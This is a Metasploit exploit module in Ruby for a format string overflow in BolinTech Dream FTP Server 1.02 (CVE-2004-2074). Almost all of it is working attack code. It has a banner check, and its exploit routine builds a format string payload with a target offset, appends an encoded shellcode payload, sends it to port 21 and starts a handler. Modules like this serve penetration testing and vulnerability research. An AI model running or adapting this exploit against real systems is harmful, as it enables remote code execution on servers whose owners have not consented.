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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'		=> 'BolinTech Dream FTP Server 1.02 Format String',
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      'Description'	=> %q{
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          This module exploits a format string overflow in the BolinTech
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        Dream FTP Server version 1.02. Based on the exploit by SkyLined.
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      },
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      'Author' 		=> [ 'aushack' ],
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      'Arch'		=> [ ARCH_X86 ],
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      'License'        	=> MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2004-2074'],
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          [ 'OSVDB', '4986'],
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          [ 'BID', '9800'],
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          [ 'EDB', '823']
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        ],
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      'Platform' 	=> ['win'],
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      'Privileged'	=> false,
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      'Payload'		=>
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        {
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          'Space'			=> 1000,
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          'BadChars'		=> "\x00\x0a\x0d",
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          'StackAdjustment'	=> -3500,
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        },
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      'Targets' 		=>
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      [
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        # Patrick - Tested OK 2007/09/10 against w2ksp0, w2ksp4 en.
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        [
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          'Dream FTP Server v1.02 Universal',
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          {
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            'Offset'			=> 3957680, # 0x3c63ff-0x4f
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          }
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        ],
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      ],
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      'DisclosureDate' => '2004-03-03',
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      'DefaultTarget' => 0))
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    register_options(
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      [
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        Opt::RPORT(21),
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      ])
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  end
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  def check
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    connect
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    banner = sock.get_once
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    disconnect
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    if (banner.to_s =~ /Dream FTP Server/)
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      return Exploit::CheckCode::Detected
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect
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    select(nil,nil,nil,0.25)
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    sploit = "\xeb\x29"
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    sploit << "%8x%8x%8x%8x%8x%8x%8x%8x%" + target['Offset'].to_s + "d%n%n"
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    sploit << "@@@@@@@@" + payload.encoded
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    sock.put(sploit + "\r\n")
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    select(nil,nil,nil,0.25)
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    handler
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    disconnect
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  end
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end
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